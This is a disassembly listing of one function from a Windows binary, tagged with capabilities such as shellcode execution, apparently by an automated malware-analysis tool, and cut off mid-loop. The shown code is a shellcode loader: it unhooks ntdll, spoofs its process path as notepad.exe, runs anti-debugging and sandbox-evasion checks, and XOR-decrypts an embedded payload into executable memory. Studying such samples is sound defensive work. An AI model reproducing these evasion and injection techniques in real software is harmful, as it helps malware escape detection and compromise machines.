Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8f8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x860], xmm6
mov dword [rbp + 0x8a0], ecx
mov qword [rbp + 0x8a8], rdx
call fcn.140002de0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e0], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7d8], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x858], rax
cmp qword [rbp + 0x858], 0
jne 0x140001662
mov dword [rbp + 0x7d4], 0
mov ecx, 0x75c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7c8], rax
mov dword [rbp + 0x854], 0
jmp 0x140001613
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x7d4], edx
mov edx, dword [rbp + 0x7d4]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0x7d4], eax
cmp dword [rbp + 0x7d4], 0x168
jle 0x140001599
mov eax, dword [rbp + 0x854]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7c8]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x14000160c
cmp dword [rbp + 0x7d4], 0
jns 0x1400015c6
mov eax, dword [rbp + 0x854]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7c8]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x14000160c
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x7d4]
movsd xmm0, qword [0x140006620]
mulsd xmm0, xmm1
movsd xmm1, qword [0x140006628]
divsd xmm0, xmm1
mov eax, dword [rbp + 0x854]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7c8]
add rax, rdx
cvtsd2ss xmm0, xmm0
movss dword [rax], xmm0
add dword [rbp + 0x854], 1
cmp dword [rbp + 0x854], 0x1d6
jle 0x140001532
mov rax, qword [rbp + 0x7c8]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x858], rax
cmp qword [rbp + 0x858], 0
je 0x140001cb2
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5f0]
mov rax, qword [rbp + 0x7d8]
mov r10, qword [rbp + 0x858]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5f0]
mov qword [rbp + 0x7c0], rax
mov dword [rbp + 0x850], 0xffffffff
add dword [rbp + 0x850], 1
call sub.msvcrt.dll_rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x6bca1af3
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x7bc], eax
mov ecx, dword [rbp + 0x7bc]
mov eax, ecx
shl eax, 3
add eax, ecx
add eax, eax
add eax, ecx
sub edx, eax
mov dword [rbp + 0x7bc], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006630]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x7bc]
movq xmm0, rax
call fcn.140003ff0
movq rax, xmm0
mov qword [rbp + 0x7b0], rax
cmp dword [rbp + 0x850], 0x2f2
jle 0x1400016b8
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7a8], rax
mov rax, qword [rbp + 0x7a8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7a0], rax
mov rax, qword [rbp + 0x7a0]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x798], rax
mov rax, qword [rbp + 0x7c0]
mov qword [rbp + 0x790], rax
mov rax, qword [rbp + 0x790]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7c0]
add rax, rdx
mov qword [rbp + 0x788], rax
mov word [rbp + 0x84e], 0
jmp 0x140001c9a
mov rax, qword [rbp + 0x788]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x788]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x84e]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x780], rax
mov rax, qword [rbp + 0x780]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001c89
mov dword [rbp + 0x5b4], 0
mov rax, qword [rbp + 0x780]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x780]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5b4]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp + 0x77c], 0
mov ecx, 0x2eb0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x770], rax
mov ecx, 0x2eb0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x768], rax
mov ecx, 0x2eb0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x760], rax
mov dword [rbp + 0x848], 0
jmp 0x140001a0d
mov dword [rbp + 0x844], 0
jmp 0x1400019f9
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x848]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x770]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x844]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x848]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x768]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x844]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x844], 1
cmp dword [rbp + 0x844], 0x23
jle 0x140001932
add dword [rbp + 0x848], 1
cmp dword [rbp + 0x848], 0x52
jle 0x140001923
mov dword [rbp + 0x848], 0
jmp 0x140001b05
mov dword [rbp + 0x844], 0
jmp 0x140001af1
mov eax, dword [rbp + 0x848]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x770]
add rdx, rax
mov eax, dword [rbp + 0x844]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x848]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x768]
add rdx, rax
mov eax, dword [rbp + 0x844]
cdqe
movss xmm1, dword [rdx + rax*4]
divss xmm0, xmm1
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movq xmm0, rax
call fcn.140003dd0
mov eax, dword [rbp + 0x848]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x760]
add rdx, rax
cvtsd2ss xmm0, xmm0
mov eax, dword [rbp + 0x844]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x844], 1
cmp dword [rbp + 0x844], 0x23
jle 0x140001a38
add dword [rbp + 0x848], 1
cmp dword [rbp + 0x848], 0x52
jle 0x140001a29
mov rax, qword [rbp + 0x770]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x768]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x760]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x780]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x780]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x798]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x780]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c0]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov dword [rbp + 0x840], 0xffffffff
mov ecx, 0x8c0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x758], rax
add dword [rbp + 0x840], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006630]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x840]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x758]
add rax, rdx
movsd xmm1, qword [0x140006638]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x840]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x758]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x840]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x758]
add rax, rdx
movq xmm1, qword [0x140006640]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x840], 0x116
jle 0x140001b9e
mov edx, dword [rbp + 0x5b4]
mov rax, qword [rbp + 0x780]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x780]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5b4]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x84e]
add eax, 1
mov word [rbp + 0x84e], ax
mov rax, qword [rbp + 0x788]
movzx eax, word [rax + 6]
cmp word [rbp + 0x84e], ax
jb 0x140001835
mov dword [rbp + 0x5bc], 0
mov rax, qword [rbp + 0x7e8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x750], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5c0]
lea rax, [rbp + 0x5bc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x750]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5c8]
add rax, 0x3c
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x748]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x5b8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x740], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5b8]
mov r8, qword [rbp + 0x740]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5b8]
cmp eax, 1
je 0x140002d0c
mov dword [rbp + 0x73c], 0x34c
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x730], rax
mov rax, qword [rbp + 0x730]
call rax
mov dword [rbp + 0x72c], eax
mov eax, dword [rbp + 0x73c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x730]
call rax
mov dword [rbp + 0x728], eax
mov eax, dword [rbp + 0x728]
sub eax, dword [rbp + 0x72c]
cmp eax, 0x31a
jbe 0x140002d0c
mov qword [rbp + 0x720], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x2af2280
mov ecx, 0
call rax
mov qword [rbp + 0x720], rax
cmp qword [rbp + 0x720], 0
je 0x140002d0c
mov rax, qword [rbp + 0x720]
mov edx, 0x2af2280
mov rcx, rax
call fcn.140004290
mov rax, qword [rbp + 0x720]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov qword [rbp + 0x710], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x3936280
mov ecx, 0
call rax
mov qword [rbp + 0x710], rax
cmp qword [rbp + 0x710], 0
je 0x140002d0c
mov rax, qword [rbp + 0x710]
mov edx, 0x3936280
mov rcx, rax
call fcn.140004290
mov rax, qword [rbp + 0x710]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x700], rax
cmp qword [rbp + 0x700], 0
je 0x140001fd2
mov rax, qword [rbp + 0x700]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
mov ecx, 0
call rax
mov dword [rbp + 0x83c], eax
cmp dword [rbp + 0x83c], 0xffffffff
je 0x140002d0c
mov dword [rbp + 0x5b0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5b0]
mov r8, qword [rbp + 0x6f0]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5b0]
cmp eax, 1
je 0x140002d0c
mov ecx, 0x52d
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x52d
jne 0x140002d0c
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, str.ngrjwyaoitdh.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6e8], rax
cmp qword [rbp + 0x6e8], 0
jne 0x140002d0c
mov dword [rbp + 0x6e4], 0x204
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x6d0]
call rax
mov dword [rbp + 0x6cc], eax
mov eax, dword [rbp + 0x6e4]
mov r8, qword [rbp + 0x6d8]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x6d0]
call rax
mov dword [rbp + 0x6c8], eax
mov eax, dword [rbp + 0x6c8]
sub eax, dword [rbp + 0x6cc]
cmp eax, 0x1d2
jbe 0x140002d0c
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6c0], rax
cmp qword [rbp + 0x6c0], 0
je 0x1400021b4
mov rax, qword [rbp + 0x6c0]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
mov ecx, 0
call rax
mov dword [rbp + 0x838], eax
cmp dword [rbp + 0x838], 0xffffffff
je 0x140002d0c
lea rax, [rbp + 0xd0]
lea rdx, [0x140006140]
mov ecx, 0x9b
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
mov qword [rbp + 0x828], 0
mov dword [rbp + 0x6b4], 0x13d
mov dword [rbp + 0x834], 1
jmp 0x14000222c
mov eax, dword [rbp + 0x834]
cdqe
add qword [rbp + 0x828], rax
add dword [rbp + 0x834], 1
mov eax, dword [rbp + 0x834]
cmp eax, dword [rbp + 0x6b4]
jle 0x140002216
mov rax, qword [rbp + 0x7e0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
mov dword [rbp + 0x820], 0
mov dword [rbp + 0x6a4], 0
mov ecx, 0x4a8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x698], rax
mov dword [rbp + 0x824], 0
jmp 0x140002308
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x824]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x698]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x824]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x698]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x820], eax
add dword [rbp + 0x824], 1
cmp dword [rbp + 0x824], 0x129
jle 0x14000228c
mov rax, qword [rbp + 0x698]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7e0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x6a8]
mov r8d, 0
mov edx, 0x4dd
mov ecx, 0x40000
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x688]
mov r9, qword [rbp + 0x690]
mov r8d, 0x4dd
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x7e8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
lea rdx, [rbp + 0xd0]
mov rax, qword [rbp + 0x680]
mov r9, qword [rbp + 0x678]
mov r8d, 0x4dd
mov rcx, rax
call r9
mov dword [rbp + 0x81c], 0
mov dword [rbp + 0x674], 0
mov ecx, 0xc08
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x668], rax
mov ecx, 0xc08
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x660], rax
mov ecx, 0xc08
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x658], rax
mov dword [rbp + 0x818], 0
jmp 0x1400024f4
mov dword [rbp + 0x814], 0
jmp 0x1400024e0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x818]
cdqe
imul rcx, rax, 0x134
mov rax, qword [rbp + 0x668]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x814]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x818]
cdqe
imul rcx, rax, 0x134
mov rax, qword [rbp + 0x660]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x814]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x814], 1
cmp dword [rbp + 0x814], 0x4c
jle 0x140002435
add dword [rbp + 0x818], 1
cmp dword [rbp + 0x818], 9
jle 0x140002426
mov dword [rbp + 0x818], 0
jmp 0x1400025ad
mov dword [rbp + 0x814], 0
jmp 0x140002599
mov eax, dword [rbp + 0x818]
cdqe
imul rdx, rax, 0x134
mov rax, qword [rbp + 0x668]
add rdx, rax
mov eax, dword [rbp + 0x814]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x818]
cdqe
imul rdx, rax, 0x134
mov rax, qword [rbp + 0x660]
add rdx, rax
mov eax, dword [rbp + 0x814]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x818]
cdqe
imul rdx, rax, 0x134
mov rax, qword [rbp + 0x658]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x814]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x814], 1
cmp dword [rbp + 0x814], 0x4c
jle 0x14000251c
add dword [rbp + 0x818], 1
cmp dword [rbp + 0x818], 9
jle 0x140002510
mov rax, qword [rbp + 0x668]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x660]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x658]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x810], 0
mov dword [rbp + 0x80c], 0
movabs rax, 0xe20f2ec9b99cd2e4
movabs rdx, 0xf5b8a390938f102c
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x950cd40c738ae3a
movabs rdx, 0x2f417ee556925f6b
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x3ce92f417ee55692
movabs rdx, 0x23cc402d5c3bc7
mov qword [rbp - 0x26], rax
mov qword [rbp - 0x1e], rdx
movabs rax, 0xd1ea67d317548949
movabs rdx, 0x1409d0ee094248dc
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x173c2f00174c9b5b
movabs rdx, 0xbe62d4f3bcd0b681
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x9367aaa5a8eaf0cc
movabs rdx, 0x60964deb5c74d561
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x2fc3884928e6764f
movabs rdx, 0x41f549d99186e8b5
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x692e681d509187cc
movabs rdx, 0xe030e5d65ccecf5d
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x362df41d67773419
movabs rdx, 0xac0233ea2471fc15
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x6ac5ac0233ea2471
movabs rdx, 0x33f949ecad0f8a
mov qword [rbp + 0xba], rax
mov qword [rbp + 0xc2], rdx
jmp 0x140002892
mov eax, dword [rbp + 0x81c]
cdqe
movzx edx, byte [rbp + rax + 0x60]
mov eax, dword [rbp + 0x810]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x81c]
cdqe
mov byte [rbp + rax - 0x10], dl
mov dword [rbp + 0x808], 0xffffffff
mov ecx, 0x1c28
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x610], rax
mov ecx, 0x1c28
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x608], rax
add dword [rbp + 0x808], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x808]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x610]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x808]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x610]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x808]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x608]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003f10
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x808], 0x383
jle 0x14000278a
cmp dword [rbp + 0x810], 0x28
jne 0x140002884
mov dword [rbp + 0x810], 0
jmp 0x14000288b
add dword [rbp + 0x810], 1
add dword [rbp + 0x81c], 1
mov eax, dword [rbp + 0x81c]
cmp eax, 0x68
jbe 0x140002736
mov dword [rbp + 0x81c], 0
jmp 0x140002c73
mov eax, dword [rbp + 0x81c]
movsxd rdx, eax
mov rax, qword [rbp + 0x680]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x80c]
cdqe
movzx ecx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x81c]
movsxd rdx, eax
mov rax, qword [rbp + 0x680]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x63c], 0
mov dword [rbp + 0x7fc], 0
mov ecx, 0x3480
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x630], rax
mov dword [rbp + 0x804], 0
jmp 0x1400029de
mov dword [rbp + 0x800], 0
jmp 0x1400029ca
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x804]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 6
mov rcx, rax
mov rax, qword [rbp + 0x630]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
